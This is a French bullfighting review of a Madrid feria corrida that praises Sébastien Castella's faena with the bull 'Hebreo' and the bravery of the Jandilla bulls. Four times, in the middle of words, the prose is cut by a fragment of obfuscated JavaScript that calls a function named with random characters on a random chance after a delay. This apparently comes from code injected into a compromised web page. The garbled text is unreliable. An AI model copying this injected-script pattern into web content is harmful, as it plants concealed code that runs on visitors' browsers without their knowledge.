CASTELLA ET JANDILLAS TRIOMPHATEURS

corrida Sensationnelle. Par sa présentation, sa morphologie, ses défenses et sa bravoure. Prompts au cheval, ils ont tous poussé sans relâche aux cheval, ils sont allés a mas aux bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderilles et ont chargé avec classe et longuement, avec une agressivité offensive (la bravoure) qui finissait par être canalisée par la muleta. Le lot de toros n’a pas eu de chance, car un  timoré Rivera Ordoñez a caché la qualité de ses deux toros et López Simón les a ennuyé avec la vulgarité de ses passes. On a même ramené aux corrals le 5 ème alors qu’il était aux brave au bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderilles, sans que l’on sache pourquoi… ou peut-être si. Ceux qui ont l’esprit mal tourné, comme moi, ont compris qu’on privait ainsi l’éleveur de pouvoir concourir au prix à  la corrida la plus complète de la feria. Maudite politique. Il a été remplacé par un énorme toro de Salvador Domecq avec beaucoup de genio. Mais avec le 2<sup>ème</sup>, appelé « Hebreo », ils ne le pourront pas. C’est, sans aucun doute, le toro de la feria… et de beaucoup de ferias. Il a été récompensé par un tour de piste. Quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and pourra-t-on assister à un indulto ? Mais il est vrai qu’il eut de la chance : il est tombé sur Sébastien Castella. Il lui a fait une faena fantastique, avec des redondos et des naturelles interprétés avec une quiétude, une maîtrise et un temple qui se sont imposés à sa colossale bravoure. Les arènes étaient bouillonnantes comme elles ne l’avaient jamais été jusqu’à présent. Il méritait les deux oreilles mais on ne lui en a donné qu’une. Serait-ce parce qu’il a tué d’une demie estocade, exécutée avec engagement et pureté, que l’aficion a su calibrer mais pas le palco ? Le manque de connaissances des présidents madrilènes atteint des sommets de stupidité cette année. Si importante fut cette faena de Castella, par la grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andeur du  torero. Cran, pouvoir, la vraie toreria face à un toro de lit d’hôpital. Avec l’épée il a perdu le trophée. Incompréhensiblement, il n’a pas voulu faire le tour de piste. Ce fut le triomphe du torero, le triomphe du toro, le triomphe de la Corrida.

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